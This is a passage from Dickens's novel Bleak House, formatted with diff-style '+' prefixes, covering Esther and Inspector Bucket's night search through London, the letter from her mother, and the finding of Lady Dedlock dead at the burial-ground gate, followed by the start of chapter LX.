+the tokens of whose recent presence are all here; thinking of the
+master of the house upstairs and of the foreboding, "Who will tell
+him!" he looks here and looks there, and reflects how he MIGHT see
+something now, which it would tax his boldness to walk up to, lay his
+hand upon, and prove to be a fancy. But it is all blank, blank as the
+darkness above and below, while he goes up the great staircase again,
+blank as the oppressive silence.
+
+"All is still in readiness, George Rouncewell?"
+
+"Quite orderly and right, Sir Leicester."
+
+"No word of any kind?"
+
+The trooper shakes his head.
+
+"No letter that can possibly have been overlooked?"
+
+But he knows there is no such hope as that and lays his head down
+without looking for an answer.
+
+Very familiar to him, as he said himself some hours ago, George
+Rouncewell lifts him into easier positions through the long remainder
+of the blank wintry night, and equally familiar with his unexpressed
+wish, extinguishes the light and undraws the curtains at the first
+late break of day. The day comes like a phantom. Cold, colourless,
+and vague, it sends a warning streak before it of a deathlike hue, as
+if it cried out, "Look what I am bringing you who watch there! Who
+will tell him!"
+
+
+
+
+CHAPTER LIX
+
+Esther's Narrative
+
+
+It was three o'clock in the morning when the houses outside London
+did at last begin to exclude the country and to close us in with
+streets. We had made our way along roads in a far worse condition
+than when we had traversed them by daylight, both the fall and the
+thaw having lasted ever since; but the energy of my companion never
+slackened. It had only been, as I thought, of less assistance than
+the horses in getting us on, and it had often aided them. They had
+stopped exhausted half-way up hills, they had been driven through
+streams of turbulent water, they had slipped down and become
+entangled with the harness; but he and his little lantern had been
+always ready, and when the mishap was set right, I had never heard
+any variation in his cool, "Get on, my lads!"
+
+The steadiness and confidence with which he had directed our journey
+back I could not account for. Never wavering, he never even stopped
+to make an inquiry until we were within a few miles of London. A very
+few words, here and there, were then enough for him; and thus we
+came, at between three and four o'clock in the morning, into
+Islington.
+
+I will not dwell on the suspense and anxiety with which I reflected
+all this time that we were leaving my mother farther and farther
+behind every minute. I think I had some strong hope that he must be
+right and could not fail to have a satisfactory object in following
+this woman, but I tormented myself with questioning it and discussing
+it during the whole journey. What was to ensue when we found her and
+what could compensate us for this loss of time were questions also
+that I could not possibly dismiss; my mind was quite tortured by long
+dwelling on such reflections when we stopped.
+
+We stopped in a high-street where there was a coach-stand. My
+companion paid our two drivers, who were as completely covered with
+splashes as if they had been dragged along the roads like the
+carriage itself, and giving them some brief direction where to take
+it, lifted me out of it and into a hackney-coach he had chosen from
+the rest.
+
+"Why, my dear!" he said as he did this. "How wet you are!"
+
+I had not been conscious of it. But the melted snow had found its way
+into the carriage, and I had got out two or three times when a fallen
+horse was plunging and had to be got up, and the wet had penetrated
+my dress. I assured him it was no matter, but the driver, who knew
+him, would not be dissuaded by me from running down the street to his
+stable, whence he brought an armful of clean dry straw. They shook it
+out and strewed it well about me, and I found it warm and
+comfortable.
+
+"Now, my dear," said Mr. Bucket, with his head in at the window after
+I was shut up. "We're a-going to mark this person down. It may take a
+little time, but you don't mind that. You're pretty sure that I've
+got a motive. Ain't you?"
+
+I little thought what it was, little thought in how short a time I
+should understand it better, but I assured him that I had confidence
+in him.
+
+"So you may have, my dear," he returned. "And I tell you what! If you
+only repose half as much confidence in me as I repose in you after
+what I've experienced of you, that'll do. Lord! You're no trouble at
+all. I never see a young woman in any station of society--and I've
+seen many elevated ones too--conduct herself like you have conducted
+yourself since you was called out of your bed. You're a pattern, you
+know, that's what you are," said Mr. Bucket warmly; "you're a
+pattern."
+
+I told him I was very glad, as indeed I was, to have been no
+hindrance to him, and that I hoped I should be none now.
+
+"My dear," he returned, "when a young lady is as mild as she's game,
+and as game as she's mild, that's all I ask, and more than I expect.
+She then becomes a queen, and that's about what you are yourself."
+
+With these encouraging words--they really were encouraging to me
+under those lonely and anxious circumstances--he got upon the box,
+and we once more drove away. Where we drove I neither knew then nor
+have ever known since, but we appeared to seek out the narrowest and
+worst streets in London. Whenever I saw him directing the driver, I
+was prepared for our descending into a deeper complication of such
+streets, and we never failed to do so.
+
+Sometimes we emerged upon a wider thoroughfare or came to a larger
+building than the generality, well lighted. Then we stopped at
+offices like those we had visited when we began our journey, and I
+saw him in consultation with others. Sometimes he would get down by
+an archway or at a street corner and mysteriously show the light of
+his little lantern. This would attract similar lights from various
+dark quarters, like so many insects, and a fresh consultation would
+be held. By degrees we appeared to contract our search within
+narrower and easier limits. Single police-officers on duty could now
+tell Mr. Bucket what he wanted to know and point to him where to go.
+At last we stopped for a rather long conversation between him and one
+of these men, which I supposed to be satisfactory from his manner of
+nodding from time to time. When it was finished he came to me looking
+very busy and very attentive.
+
+"Now, Miss Summerson," he said to me, "you won't be alarmed whatever
+comes off, I know. It's not necessary for me to give you any further
+caution than to tell you that we have marked this person down and
+that you may be of use to me before I know it myself. I don't like to
+ask such a thing, my dear, but would you walk a little way?"
+
+Of course I got out directly and took his arm.
+
+"It ain't so easy to keep your feet," said Mr. Bucket, "but take
+time."
+
+Although I looked about me confusedly and hurriedly as we crossed the
+street, I thought I knew the place. "Are we in Holborn?" I asked him.
+
+"Yes," said Mr. Bucket. "Do you know this turning?"
+
+"It looks like Chancery Lane."
+
+"And was christened so, my dear," said Mr. Bucket.
+
+We turned down it, and as we went shuffling through the sleet, I
+heard the clocks strike half-past five. We passed on in silence and
+as quickly as we could with such a foot-hold, when some one coming
+towards us on the narrow pavement, wrapped in a cloak, stopped and
+stood aside to give me room. In the same moment I heard an
+exclamation of wonder and my own name from Mr. Woodcourt. I knew his
+voice very well.
+
+It was so unexpected and so--I don't know what to call it, whether
+pleasant or painful--to come upon it after my feverish wandering
+journey, and in the midst of the night, that I could not keep back
+the tears from my eyes. It was like hearing his voice in a strange
+country.
+
+"My dear Miss Summerson, that you should be out at this hour, and in
+such weather!"
+
+He had heard from my guardian of my having been called away on some
+uncommon business and said so to dispense with any explanation. I
+told him that we had but just left a coach and were going--but then I
+was obliged to look at my companion.
+
+"Why, you see, Mr. Woodcourt"--he had caught the name from me--"we
+are a-going at present into the next street. Inspector Bucket."
+
+Mr. Woodcourt, disregarding my remonstrances, had hurriedly taken off
+his cloak and was putting it about me. "That's a good move, too,"
+said Mr. Bucket, assisting, "a very good move."
+
+"May I go with you?" said Mr. Woodcourt. I don't know whether to me
+or to my companion.
+
+"Why, Lord!" exclaimed Mr. Bucket, taking the answer on himself. "Of
+course you may."
+
+It was all said in a moment, and they took me between them, wrapped
+in the cloak.
+
+"I have just left Richard," said Mr. Woodcourt. "I have been sitting
+with him since ten o'clock last night."
+
+"Oh, dear me, he is ill!"
+
+"No, no, believe me; not ill, but not quite well. He was depressed
+and faint--you know he gets so worried and so worn sometimes--and Ada
+sent to me of course; and when I came home I found her note and came
+straight here. Well! Richard revived so much after a little while,
+and Ada was so happy and so convinced of its being my doing, though
+God knows I had little enough to do with it, that I remained with him
+until he had been fast asleep some hours. As fast asleep as she is
+now, I hope!"
+
+His friendly and familiar way of speaking of them, his unaffected
+devotion to them, the grateful confidence with which I knew he had
+inspired my darling, and the comfort he was to her; could I separate
+all this from his promise to me? How thankless I must have been if it
+had not recalled the words he said to me when he was so moved by the
+change in my appearance: "I will accept him as a trust, and it shall
+be a sacred one!"
+
+We now turned into another narrow street. "Mr. Woodcourt," said Mr.
+Bucket, who had eyed him closely as we came along, "our business
+takes us to a law-stationer's here, a certain Mr. Snagsby's. What,
+you know him, do you?" He was so quick that he saw it in an instant.
+
+"Yes, I know a little of him and have called upon him at this place."
+
+"Indeed, sir?" said Mr. Bucket. "Then you will be so good as to let
+me leave Miss Summerson with you for a moment while I go and have
+half a word with him?"
+
+The last police-officer with whom he had conferred was standing
+silently behind us. I was not aware of it until he struck in on my
+saying I heard some one crying.
+
+"Don't be alarmed, miss," he returned. "It's Snagsby's servant."
+
+"Why, you see," said Mr. Bucket, "the girl's subject to fits, and has
+'em bad upon her to-night. A most contrary circumstance it is, for I
+want certain information out of that girl, and she must be brought to
+reason somehow."
+
+"At all events, they wouldn't be up yet if it wasn't for her, Mr.
+Bucket," said the other man. "She's been at it pretty well all night,
+sir."
+
+"Well, that's true," he returned. "My light's burnt out. Show yours a
+moment."
+
+All this passed in a whisper a door or two from the house in which I
+could faintly hear crying and moaning. In the little round of light
+produced for the purpose, Mr. Bucket went up to the door and knocked.
+The door was opened after he had knocked twice, and he went in,
+leaving us standing in the street.
+
+"Miss Summerson," said Mr. Woodcourt, "if without obtruding myself on
+your confidence I may remain near you, pray let me do so."
+
+"You are truly kind," I answered. "I need wish to keep no secret of
+my own from you; if I keep any, it is another's."
+
+"I quite understand. Trust me, I will remain near you only so long as
+I can fully respect it."
+
+"I trust implicitly to you," I said. "I know and deeply feel how
+sacredly you keep your promise."
+
+After a short time the little round of light shone out again, and Mr.
+Bucket advanced towards us in it with his earnest face. "Please to
+come in, Miss Summerson," he said, "and sit down by the fire. Mr.
+Woodcourt, from information I have received I understand you are a
+medical man. Would you look to this girl and see if anything can be
+done to bring her round. She has a letter somewhere that I
+particularly want. It's not in her box, and I think it must be about
+her; but she is so twisted and clenched up that she is difficult to
+handle without hurting."
+
+We all three went into the house together; although it was cold and
+raw, it smelt close too from being up all night. In the passage
+behind the door stood a scared, sorrowful-looking little man in a
+grey coat who seemed to have a naturally polite manner and spoke
+meekly.
+
+"Downstairs, if you please, Mr. Bucket," said he. "The lady will
+excuse the front kitchen; we use it as our workaday sitting-room. The
+back is Guster's bedroom, and in it she's a-carrying on, poor thing,
+to a frightful extent!"
+
+We went downstairs, followed by Mr. Snagsby, as I soon found the
+little man to be. In the front kitchen, sitting by the fire, was Mrs.
+Snagsby, with very red eyes and a very severe expression of face.
+
+"My little woman," said Mr. Snagsby, entering behind us, "to
+wave--not to put too fine a point upon it, my dear--hostilities for
+one single moment in the course of this prolonged night, here is
+Inspector Bucket, Mr. Woodcourt, and a lady."
+
+She looked very much astonished, as she had reason for doing, and
+looked particularly hard at me.
+
+"My little woman," said Mr. Snagsby, sitting down in the remotest
+corner by the door, as if he were taking a liberty, "it is not
+unlikely that you may inquire of me why Inspector Bucket, Mr.
+Woodcourt, and a lady call upon us in Cook's Court, Cursitor Street,
+at the present hour. I don't know. I have not the least idea. If I
+was to be informed, I should despair of understanding, and I'd rather
+not be told."
+
+He appeared so miserable, sitting with his head upon his hand, and I
+appeared so unwelcome, that I was going to offer an apology when Mr.
+Bucket took the matter on himself.
+
+"Now, Mr. Snagsby," said he, "the best thing you can do is to go
+along with Mr. Woodcourt to look after your Guster--"
+
+"My Guster, Mr. Bucket!" cried Mr. Snagsby. "Go on, sir, go on. I
+shall be charged with that next."
+
+"And to hold the candle," pursued Mr. Bucket without correcting
+himself, "or hold her, or make yourself useful in any way you're
+asked. Which there's not a man alive more ready to do, for you're a
+man of urbanity and suavity, you know, and you've got the sort of
+heart that can feel for another. Mr. Woodcourt, would you be so good
+as see to her, and if you can get that letter from her, to let me
+have it as soon as ever you can?"
+
+As they went out, Mr. Bucket made me sit down in a corner by the fire
+and take off my wet shoes, which he turned up to dry upon the fender,
+talking all the time.
+
+"Don't you be at all put out, miss, by the want of a hospitable look
+from Mrs. Snagsby there, because she's under a mistake altogether.
+She'll find that out sooner than will be agreeable to a lady of her
+generally correct manner of forming her thoughts, because I'm a-going
+to explain it to her." Here, standing on the hearth with his wet hat
+and shawls in his hand, himself a pile of wet, he turned to Mrs.
+Snagsby. "Now, the first thing that I say to you, as a married woman
+possessing what you may call charms, you know--'Believe Me, if All
+Those Endearing,' and cetrer--you're well acquainted with the song,
+because it's in vain for you to tell me that you and good society are
+strangers--charms--attractions, mind you, that ought to give you
+confidence in yourself--is, that you've done it."
+
+Mrs. Snagsby looked rather alarmed, relented a little and faltered,
+what did Mr. Bucket mean.
+
+"What does Mr. Bucket mean?" he repeated, and I saw by his face that
+all the time he talked he was listening for the discovery of the
+letter, to my own great agitation, for I knew then how important it
+must be; "I'll tell you what he means, ma'am. Go and see Othello
+acted. That's the tragedy for you."
+
+Mrs. Snagsby consciously asked why.
+
+"Why?" said Mr. Bucket. "Because you'll come to that if you don't
+look out. Why, at the very moment while I speak, I know what your
+mind's not wholly free from respecting this young lady. But shall I
+tell you who this young lady is? Now, come, you're what I call an
+intellectual woman--with your soul too large for your body, if you
+come to that, and chafing it--and you know me, and you recollect
+where you saw me last, and what was talked of in that circle. Don't
+you? Yes! Very well. This young lady is that young lady."
+
+Mrs. Snagsby appeared to understand the reference better than I did
+at the time.
+
+"And Toughey--him as you call Jo--was mixed up in the same business,
+and no other; and the law-writer that you know of was mixed up in the
+same business, and no other; and your husband, with no more knowledge
+of it than your great grandfather, was mixed up (by Mr. Tulkinghorn,
+deceased, his best customer) in the same business, and no other; and
+the whole bileing of people was mixed up in the same business, and no
+other. And yet a married woman, possessing your attractions, shuts
+her eyes (and sparklers too), and goes and runs her delicate-formed
+head against a wall. Why, I am ashamed of you! (I expected Mr.
+Woodcourt might have got it by this time.)"
+
+Mrs. Snagsby shook her head and put her handkerchief to her eyes.
+
+"Is that all?" said Mr. Bucket excitedly. "No. See what happens.
+Another person mixed up in that business and no other, a person in a
+wretched state, comes here to-night and is seen a-speaking to your
+maid-servant; and between her and your maid-servant there passes
+a paper that I would give a hundred pound for, down. What do
+you do? You hide and you watch 'em, and you pounce upon that
+maid-servant--knowing what she's subject to and what a little thing
+will bring 'em on--in that surprising manner and with that severity
+that, by the Lord, she goes off and keeps off, when a life may be
+hanging upon that girl's words!"
+
+He so thoroughly meant what he said now that I involuntarily clasped
+my hands and felt the room turning away from me. But it stopped. Mr.
+Woodcourt came in, put a paper into his hand, and went away again.
+
+"Now, Mrs. Snagsby, the only amends you can make," said Mr. Bucket,
+rapidly glancing at it, "is to let me speak a word to this young lady
+in private here. And if you know of any help that you can give to
+that gentleman in the next kitchen there or can think of any one
+thing that's likelier than another to bring the girl round, do your
+swiftest and best!" In an instant she was gone, and he had shut the
+door. "Now my dear, you're steady and quite sure of yourself?"
+
+"Quite," said I.
+
+"Whose writing is that?"
+
+It was my mother's. A pencil-writing, on a crushed and torn piece of
+paper, blotted with wet. Folded roughly like a letter, and directed
+to me at my guardian's.
+
+"You know the hand," he said, "and if you are firm enough to read it
+to me, do! But be particular to a word."
+
+It had been written in portions, at different times. I read what
+follows:
+
+
+   I came to the cottage with two objects. First, to see the
+   dear one, if I could, once more--but only to see her--not
+   to speak to her or let her know that I was near. The other
+   object, to elude pursuit and to be lost. Do not blame the
+   mother for her share. The assistance that she rendered me,
+   she rendered on my strongest assurance that it was for the
+   dear one's good. You remember her dead child. The men's
+   consent I bought, but her help was freely given.
+
+
+"'I came.' That was written," said my companion, "when she rested
+there. It bears out what I made of it. I was right."
+
+The next was written at another time:
+
+
+   I have wandered a long distance, and for many hours, and
+   I know that I must soon die. These streets! I have no
+   purpose but to die. When I left, I had a worse, but I am
+   saved from adding that guilt to the rest. Cold, wet, and
+   fatigue are sufficient causes for my being found dead, but
+   I shall die of others, though I suffer from these. It was
+   right that all that had sustained me should give way at
+   once and that I should die of terror and my conscience.
+
+
+"Take courage," said Mr. Bucket. "There's only a few words more."
+
+Those, too, were written at another time. To all appearance, almost
+in the dark:
+
+
+   I have done all I could do to be lost. I shall be soon
+   forgotten so, and shall disgrace him least. I have nothing
+   about me by which I can be recognized. This paper I part
+   with now. The place where I shall lie down, if I can get
+   so far, has been often in my mind. Farewell. Forgive.
+
+
+Mr. Bucket, supporting me with his arm, lowered me gently into my
+chair. "Cheer up! Don't think me hard with you, my dear, but as soon
+as ever you feel equal to it, get your shoes on and be ready."
+
+I did as he required, but I was left there a long time, praying for
+my unhappy mother. They were all occupied with the poor girl, and I
+heard Mr. Woodcourt directing them and speaking to her often. At
+length he came in with Mr. Bucket and said that as it was important
+to address her gently, he thought it best that I should ask her for
+whatever information we desired to obtain. There was no doubt that
+she could now reply to questions if she were soothed and not alarmed.
+The questions, Mr. Bucket said, were how she came by the letter, what
+passed between her and the person who gave her the letter, and where
+the person went. Holding my mind as steadily as I could to these
+points, I went into the next room with them. Mr. Woodcourt would have
+remained outside, but at my solicitation went in with us.
+
+The poor girl was sitting on the floor where they had laid her down.
+They stood around her, though at a little distance, that she might
+have air. She was not pretty and looked weak and poor, but she had a
+plaintive and a good face, though it was still a little wild. I
+kneeled on the ground beside her and put her poor head upon my
+shoulder, whereupon she drew her arm round my neck and burst into
+tears.
+
+"My poor girl," said I, laying my face against her forehead, for
+indeed I was crying too, and trembling, "it seems cruel to trouble
+you now, but more depends on our knowing something about this letter
+than I could tell you in an hour."
+
+She began piteously declaring that she didn't mean any harm, she
+didn't mean any harm, Mrs. Snagsby!
+
+"We are all sure of that," said I. "But pray tell me how you got it."
+
+"Yes, dear lady, I will, and tell you true. I'll tell true, indeed,
+Mrs. Snagsby."
+
+"I am sure of that," said I. "And how was it?"
+
+"I had been out on an errand, dear lady--long after it was
+dark--quite late; and when I came home, I found a common-looking
+person, all wet and muddy, looking up at our house. When she saw me
+coming in at the door, she called me back and said did I live here.
+And I said yes, and she said she knew only one or two places about
+here, but had lost her way and couldn't find them. Oh, what shall I
+do, what shall I do! They won't believe me! She didn't say any harm
+to me, and I didn't say any harm to her, indeed, Mrs. Snagsby!"
+
+It was necessary for her mistress to comfort her--which she did, I
+must say, with a good deal of contrition--before she could be got
+beyond this.
+
+"She could not find those places," said I.
+
+"No!" cried the girl, shaking her head. "No! Couldn't find them. And
+she was so faint, and lame, and miserable, Oh so wretched, that if
+you had seen her, Mr. Snagsby, you'd have given her half a crown, I
+know!"
+
+"Well, Guster, my girl," said he, at first not knowing what to say.
+"I hope I should."
+
+"And yet she was so well spoken," said the girl, looking at me with
+wide open eyes, "that it made a person's heart bleed. And so she said
+to me, did I know the way to the burying ground? And I asked her
+which burying ground. And she said, the poor burying ground. And so I
+told her I had been a poor child myself, and it was according to
+parishes. But she said she meant a poor burying ground not very far
+from here, where there was an archway, and a step, and an iron gate."
+
+As I watched her face and soothed her to go on, I saw that Mr. Bucket
+received this with a look which I could not separate from one of
+alarm.
+
+"Oh, dear, dear!" cried the girl, pressing her hair back with her
+hands. "What shall I do, what shall I do! She meant the burying
+ground where the man was buried that took the sleeping-stuff--that
+you came home and told us of, Mr. Snagsby--that frightened me so,
+Mrs. Snagsby. Oh, I am frightened again. Hold me!"
+
+"You are so much better now," sald I. "Pray, pray tell me more."
+
+"Yes I will, yes I will! But don't be angry with me, that's a dear
+lady, because I have been so ill."
+
+Angry with her, poor soul!
+
+"There! Now I will, now I will. So she said, could I tell her how to
+find it, and I said yes, and I told her; and she looked at me with
+eyes like almost as if she was blind, and herself all waving back.
+And so she took out the letter, and showed it me, and said if she was
+to put that in the post-office, it would be rubbed out and not minded
+and never sent; and would I take it from her, and send it, and the
+messenger would be paid at the house. And so I said yes, if it was no
+harm, and she said no--no harm. And so I took it from her, and she
+said she had nothing to give me, and I said I was poor myself and
+consequently wanted nothing. And so she said God bless you, and
+went."
+
+"And did she go--"
+
+"Yes," cried the girl, anticipating the inquiry. "Yes! She went the
+way I had shown her. Then I came in, and Mrs. Snagsby came behind me
+from somewhere and laid hold of me, and I was frightened."
+
+Mr. Woodcourt took her kindly from me. Mr. Bucket wrapped me up, and
+immediately we were in the street. Mr. Woodcourt hesitated, but I
+said, "Don't leave me now!" and Mr. Bucket added, "You'll be better
+with us, we may want you; don't lose time!"
+
+I have the most confused impressions of that walk. I recollect that
+it was neither night nor day, that morning was dawning but the
+street-lamps were not yet put out, that the sleet was still falling
+and that all the ways were deep with it. I recollect a few chilled
+people passing in the streets. I recollect the wet house-tops, the
+clogged and bursting gutters and water-spouts, the mounds of
+blackened ice and snow over which we passed, the narrowness of the
+courts by which we went. At the same time I remember that the poor
+girl seemed to be yet telling her story audibly and plainly in my
+hearing, that I could feel her resting on my arm, that the stained
+house-fronts put on human shapes and looked at me, that great
+water-gates seemed to be opening and closing in my head or in the
+air, and that the unreal things were more substantial than the real.
+
+At last we stood under a dark and miserable covered way, where one
+lamp was burning over an iron gate and where the morning faintly
+struggled in. The gate was closed. Beyond it was a burial ground--a
+dreadful spot in which the night was very slowly stirring, but where
+I could dimly see heaps of dishonoured graves and stones, hemmed in
+by filthy houses with a few dull lights in their windows and on whose
+walls a thick humidity broke out like a disease. On the step at the
+gate, drenched in the fearful wet of such a place, which oozed and
+splashed down everywhere, I saw, with a cry of pity and horror, a
+woman lying--Jenny, the mother of the dead child.
+
+I ran forward, but they stopped me, and Mr. Woodcourt entreated me
+with the greatest earnestness, even with tears, before I went up to
+the figure to listen for an instant to what Mr. Bucket said. I did
+so, as I thought. I did so, as I am sure.
+
+"Miss Summerson, you'll understand me, if you think a moment. They
+changed clothes at the cottage."
+
+They changed clothes at the cottage. I could repeat the words in my
+mind, and I knew what they meant of themselves, but I attached no
+meaning to them in any other connexion.
+
+"And one returned," said Mr. Bucket, "and one went on. And the one
+that went on only went on a certain way agreed upon to deceive and
+then turned across country and went home. Think a moment!"
+
+I could repeat this in my mind too, but I had not the least idea what
+it meant. I saw before me, lying on the step, the mother of the dead
+child. She lay there with one arm creeping round a bar of the iron
+gate and seeming to embrace it. She lay there, who had so lately
+spoken to my mother. She lay there, a distressed, unsheltered,
+senseless creature. She who had brought my mother's letter, who could
+give me the only clue to where my mother was; she, who was to guide
+us to rescue and save her whom we had sought so far, who had come to
+this condition by some means connected with my mother that I could
+not follow, and might be passing beyond our reach and help at that
+moment; she lay there, and they stopped me! I saw but did not
+comprehend the solemn and compassionate look in Mr. Woodcourt's face.
+I saw but did not comprehend his touching the other on the breast to
+keep him back. I saw him stand uncovered in the bitter air, with a
+reverence for something. But my understanding for all this was gone.
+
+I even heard it said between them, "Shall she go?"
+
+"She had better go. Her hands should be the first to touch her. They
+have a higher right than ours."
+
+I passed on to the gate and stooped down. I lifted the heavy head,
+put the long dank hair aside, and turned the face. And it was my
+mother, cold and dead.
+
+
+
+
+CHAPTER LX
+
+Perspective
+
+
+I proceed to other passages of my narrative. From the goodness of all
+about me I derived such consolation as I can never think of unmoved.
+I have already said so much of myself, and so much still remains,
+that I will not dwell upon my sorrow. I had an illness, but it was
+not a long one; and I would avoid even this mention of it if I could
+quite keep down the recollection of their sympathy.
+
+I proceed to other passages of my narrative.
+
+During the time of my illness, we were still in London, where Mrs.
+Woodcourt had come, on my guardian's invitation, to stay with us.
+When my guardian thought me well and cheerful enough to talk with him
+in our old way--though I could have done that sooner if he would have
+believed me--I resumed my work and my chair beside his. He had
+appointed the time himself, and we were alone.
+
+"Dame Trot," said he, receiving me with a kiss, "welcome to the
+growlery again, my dear. I have a scheme to develop, little woman. I
+propose to remain here, perhaps for six months, perhaps for a longer
+time--as it may be. Quite to settle here for a while, in short."
+
+"And in the meanwhile leave Bleak House?" said I.
+
+"Aye, my dear? Bleak House," he returned, "must learn to take care of
+itself."
+
+I thought his tone sounded sorrowful, but looking at him, I saw his
+kind face lighted up by its pleasantest smile.
+
+"Bleak House," he repeated--and his tone did NOT sound sorrowful, I
+found--"must learn to take care of itself. It is a long way from Ada,
+my dear, and Ada stands much in need of you."
+
+"It's like you, guardian," said I, "to have been taking that into
+consideration for a happy surprise to both of us."
+
+"Not so disinterested either, my dear, if you mean to extol me for
+that virtue, since if you were generally on the road, you could be
+seldom with me. And besides, I wish to hear as much and as often of
+Ada as I can in this condition of estrangement from poor Rick. Not of
+her alone, but of him too, poor fellow."
+
+"Have you seen Mr. Woodcourt, this morning, guardian?"
+
+"I see Mr. Woodcourt every morning, Dame Durden."
+
+"Does he still say the same of Richard?"
+
+"Just the same. He knows of no direct bodily illness that he has; on
+the contrary, he believes that he has none. Yet he is not easy about
+him; who CAN be?"
+
+My dear girl had been to see us lately every day, some times twice in
+a day. But we had foreseen, all along, that this would only last
+until I was quite myself. We knew full well that her fervent heart
+was as full of affection and gratitude towards her cousin John as it
+had ever been, and we acquitted Richard of laying any injunctions
+upon her to stay away; but we knew on the other hand that she felt it
+a part of her duty to him to be sparing of her visits at our house.
+My guardian's delicacy had soon perceived this and had tried to
+convey to her that he thought she was right.
+
+"Dear, unfortunate, mistaken Richard," said I. "When will he awake
+from his delusion!"
+
+"He is not in the way to do so now, my dear," replied my guardian.
+"The more he suffers, the more averse he will be to me, having made
+me the principal representative of the great occasion of his
+suffering."
+
+I could not help adding, "So unreasonably!"
+
+"Ah, Dame Trot, Dame Trot," returned my guardian, "what shall we find
+reasonable in Jarndyce and Jarndyce! Unreason and injustice at the
+top, unreason and injustice at the heart and at the bottom, unreason
+and injustice from beginning to end--if it ever has an end--how
+should poor Rick, always hovering near it, pluck reason out of it? He
+no more gathers grapes from thorns or figs from thistles than older
+men did in old times."
+
+His gentleness and consideration for Richard whenever we spoke of him
+touched me so that I was always silent on this subject very soon.
+
+"I suppose the Lord Chancellor, and the Vice Chancellors, and the
+whole Chancery battery of great guns would be infinitely astonished
+by such unreason and injustice in one of their suitors," pursued my
+guardian. "When those learned gentlemen begin to raise moss-roses
+from the powder they sow in their wigs, I shall begin to be
+astonished too!"
+
+He checked himself in glancing towards the window to look where the
+wind was and leaned on the back of my chair instead.
+
+"Well, well, little woman! To go on, my dear. This rock we must leave
+to time, chance, and hopeful circumstance. We must not shipwreck Ada
+upon it. She cannot afford, and he cannot afford, the remotest chance
+of another separation from a friend. Therefore I have particularly
+begged of Woodcourt, and I now particularly beg of you, my dear, not
+to move this subject with Rick. Let it rest. Next week, next month,
+next year, sooner or later, he will see me with clearer eyes. I can
+wait."
+
+But I had already discussed it with him, I confessed; and so, I
+thought, had Mr. Woodcourt.
+
+"So he tells me," returned my guardian. "Very good. He has made his
+protest, and Dame Durden has made hers, and there is nothing more to
+be said about it. Now I come to Mrs. Woodcourt. How do you like her,
+my dear?"
+
+In answer to this question, which was oddly abrupt, I said I liked
+her very much and thought she was more agreeable than she used to be.
+
+"I think so too," said my guardian. "Less pedigree? Not so much of
+Morgan ap--what's his name?"
+
+That was what I meant, I acknowledged, though he was a very harmless
+person, even when we had had more of him.
+
+"Still, upon the whole, he is as well in his native mountains," said
+my guardian. "I agree with you. Then, little woman, can I do better
+for a time than retain Mrs. Woodcourt here?"
+
+No. And yet--
+
+My guardian looked at me, waiting for what I had to say.
+
+I had nothing to say. At least I had nothing in my mind that I could
+say. I had an undefined impression that it might have been better if
+we had had some other inmate, but I could hardly have explained why
+even to myself. Or, if to myself, certainly not to anybody else.
+
+"You see," said my guardian, "our neighbourhood is in Woodcourt's
+way, and he can come here to see her as often as he likes, which is
+agreeable to them both; and she is familiar to us and fond of you."
+
+Yes. That was undeniable. I had nothing to say against it. I could
+not have suggested a better arrangement, but I was not quite easy in
+my mind. Esther, Esther, why not? Esther, think!
+
+"It is a very good plan indeed, dear guardian, and we could not do
+better."
+
+"Sure, little woman?"
+
+Quite sure. I had had a moment's time to think, since I had urged
+that duty on myself, and I was quite sure.
+
+"Good," said my guardian. "It shall be done. Carried unanimously."
+
+"Carried unanimously," I repeated, going on with my work.
+
+It was a cover for his book-table that I happened to be ornamenting.
+It had been laid by on the night preceding my sad journey and never
+resumed. I showed it to him now, and he admired it highly. After I
+had explained the pattern to him and all the great effects that were
+to come out by and by, I thought I would go back to our last theme.
+
+"You said, dear guardian, when we spoke of Mr. Woodcourt before Ada
+left us, that you thought he would give a long trial to another
+country. Have you been advising him since?"
+
+"Yes, little woman, pretty often."
+
+"Has he decided to do so?"
+
+"I rather think not."
+
+"Some other prospect has opened to him, perhaps?" said I.
+
+"Why--yes--perhaps," returned my guardian, beginning his answer in a
+very deliberate manner. "About half a year hence or so, there is a
+medical attendant for the poor to be appointed at a certain place in
+Yorkshire. It is a thriving place, pleasantly situated--streams and
+streets, town and country, mill and moor--and seems to present an
+opening for such a man. I mean a man whose hopes and aims may
+sometimes lie (as most men's sometimes do, I dare say) above the
+ordinary level, but to whom the ordinary level will be high enough
+after all if it should prove to be a way of usefulness and good
+service leading to no other. All generous spirits are ambitious, I
+suppose, but the ambition that calmly trusts itself to such a road,
+instead of spasmodically trying to fly over it, is of the kind I care
+for. It is Woodcourt's kind."
+
+"And will he get this appointment?" I asked.
+
+"Why, little woman," returned my guardian, smiling, "not being an
+oracle, I cannot confidently say, but I think so. His reputation
+stands very high; there were people from that part of the country in
+the shipwreck; and strange to say, I believe the best man has the
+best chance. You must not suppose it to be a fine endowment. It is a
+very, very commonplace affair, my dear, an appointment to a great
+amount of work and a small amount of pay; but better things will
+gather about it, it may be fairly hoped."
+
+"The poor of that place will have reason to bless the choice if it
+falls on Mr. Woodcourt, guardian."
+
+"You are right, little woman; that I am sure they will."
+
+We said no more about it, nor did he say a word about the future of
+Bleak House. But it was the first time I had taken my seat at his
+side in my mourning dress, and that accounted for it, I considered.
+
+I now began to visit my dear girl every day in the dull dark corner
+where she lived. The morning was my usual time, but whenever I found
+I had an hour or so to spare, I put on my bonnet and bustled off to
+Chancery Lane. They were both so glad to see me at all hours, and
+used to brighten up so when they heard me opening the door and coming
+in (being quite at home, I never knocked), that I had no fear of
+becoming troublesome just yet.
+
+On these occasions I frequently found Richard absent. At other times
+he would be writing or reading papers in the cause at that table of
+his, so covered with papers, which was never disturbed. Sometimes I
+would come upon him lingering at the door of Mr. Vholes's office.
+Sometimes I would meet him in the neighbourhood lounging about and
+biting his nails. I often met him wandering in Lincoln's Inn, near
+the place where I had first seen him, oh how different, how
+different!
+
+That the money Ada brought him was melting away with the candles I
+used to see burning after dark in Mr. Vholes's office I knew very
+well. It was not a large amount in the beginning, he had married in
+debt, and I could not fail to understand, by this time, what was
+meant by Mr. Vholes's shoulder being at the wheel--as I still heard
+it was. My dear made the best of housekeepers and tried hard to save,
+but I knew that they were getting poorer and poorer every day.
+
+She shone in the miserable corner like a beautiful star. She adorned
+and graced it so that it became another place. Paler than she had
+been at home, and a little quieter than I had thought natural when
+she was yet so cheerful and hopeful, her face was so unshadowed that
+I half believed she was blinded by her love for Richard to his
+ruinous career.
+
+I went one day to dine with them while I was under this impression.
+As I turned into Symond's Inn, I met little Miss Flite coming out.
